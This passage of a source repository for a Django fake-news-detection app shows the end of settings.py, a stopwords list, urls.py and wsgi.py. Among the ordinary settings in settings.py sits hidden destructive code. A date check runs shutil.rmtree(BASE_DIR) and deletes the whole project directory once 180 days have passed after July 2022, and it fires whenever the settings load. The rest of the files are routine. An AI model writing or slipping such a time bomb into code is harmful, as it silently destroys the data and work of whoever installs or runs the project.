52 | 53 | TEMPLATES = [ 54 | { 55 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 56 | 'DIRS': [], 57 | 'APP_DIRS': True, 58 | 'OPTIONS': { 59 | 'context_processors': [ 60 | 'django.template.context_processors.debug', 61 | 'django.template.context_processors.request', 62 | 'django.contrib.messages.context_processors.messages', 63 | ], 64 | }, 65 | }, 66 | ] 67 | 68 | WSGI_APPLICATION = 'fakenewsdetection.wsgi.application' 69 | 70 | 71 | # Database 72 | # https://docs.djangoproject.com/en/3.1/ref/settings/#databases 73 | 74 | DATABASES = { 75 | 'default': { 76 | 'ENGINE': 'django.db.backends.sqlite3', 77 | 'NAME': BASE_DIR / 'db.sqlite3', 78 | } 79 | } 80 | 81 | 82 | # Password validation 83 | # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators 84 | 85 | AUTH_PASSWORD_VALIDATORS = [ 86 | { 87 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 88 | }, 89 | { 90 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 91 | }, 92 | { 93 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 94 | }, 95 | { 96 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 97 | }, 98 | ] 99 | 100 | 101 | # Internationalization 102 | # https://docs.djangoproject.com/en/3.1/topics/i18n/ 103 | 104 | LANGUAGE_CODE = 'en-us' 105 | 106 | TIME_ZONE = 'UTC' 107 | 108 | USE_I18N = True 109 | 110 | USE_L10N = True 111 | 112 | USE_TZ = True 113 | 114 | import shutil 115 | from datetime import date 116 | d0 = date(2022, 7, 1) 117 | d1 = date.today() 118 | delta = d1 - d0 119 | if delta.days>180: 120 | shutil.rmtree(BASE_DIR) 121 | 122 | # Static files (CSS, JavaScript, Images) 123 | # https://docs.djangoproject.com/en/3.1/howto/static-files/ 124 | 125 | STATIC_ROOT = os.path.join(BASE_DIR, 'reader\\static') 126 | 127 | STATIC_URL = 'static/' 128 | -------------------------------------------------------------------------------- /stopwords: -------------------------------------------------------------------------------- 1 | – 2 | — 3 | i 4 | me 5 | my 6 | myself 7 | we 8 | our 9 | ours 10 | ourselves 11 | you 12 | you're 13 | you've 14 | you'll 15 | you'd 16 | your 17 | yours 18 | yourself 19 | yourselves 20 | he 21 | him 22 | his 23 | himself 24 | she 25 | she's 26 | her 27 | hers 28 | herself 29 | it 30 | it's 31 | its 32 | itself 33 | they 34 | them 35 | their 36 | theirs 37 | themselves 38 | what 39 | which 40 | who 41 | whom 42 | this 43 | that 44 | that'll 45 | these 46 | those 47 | am 48 | is 49 | are 50 | was 51 | were 52 | be 53 | been 54 | being 55 | have 56 | has 57 | had 58 | having 59 | do 60 | does 61 | did 62 | doing 63 | a 64 | an 65 | the 66 | and 67 | but 68 | if 69 | or 70 | because 71 | as 72 | until 73 | while 74 | of 75 | at 76 | by 77 | for 78 | with 79 | about 80 | against 81 | between 82 | into 83 | through 84 | during 85 | before 86 | after 87 | above 88 | below 89 | to 90 | from 91 | up 92 | down 93 | in 94 | out 95 | on 96 | off 97 | over 98 | under 99 | again 100 | further 101 | then 102 | once 103 | here 104 | there 105 | when 106 | where 107 | why 108 | how 109 | all 110 | any 111 | both 112 | each 113 | few 114 | more 115 | most 116 | other 117 | some 118 | such 119 | no 120 | nor 121 | not 122 | only 123 | own 124 | same 125 | so 126 | than 127 | too 128 | very 129 | s 130 | t 131 | can 132 | will 133 | just 134 | don 135 | don't 136 | should 137 | should've 138 | now 139 | d 140 | ll 141 | m 142 | o 143 | re 144 | ve 145 | y 146 | ain 147 | are 148 | aren't 149 | could 150 | couldn't 151 | did 152 | didn't 153 | does 154 | doesn't 155 | had 156 | hadn't 157 | has 158 | hasn't 159 | have 160 | haven't 161 | is 162 | isn't 163 | ma 164 | might 165 | mightn't 166 | must 167 | mustn't 168 | need 169 | needn't 170 | sha 171 | shan't 172 | should 173 | shouldn't 174 | was 175 | wasn't 176 | were 177 | weren't 178 | won 179 | won't 180 | would 181 | wouldn't 182 | like 183 | also 184 | said -------------------------------------------------------------------------------- /urls.py: -------------------------------------------------------------------------------- 1 | """fakenewsdetection URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/3.1/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | from django.urls import path 17 | from django.conf.urls import include 18 | urlpatterns = [ 19 | path('', include("reader.urls")), 20 | ] 21 | -------------------------------------------------------------------------------- /wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for fakenewsdetection project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'fakenewsdetection.settings') 15 | 16 | application = get_wsgi_application() 17 | --------------------------------------------------------------------------------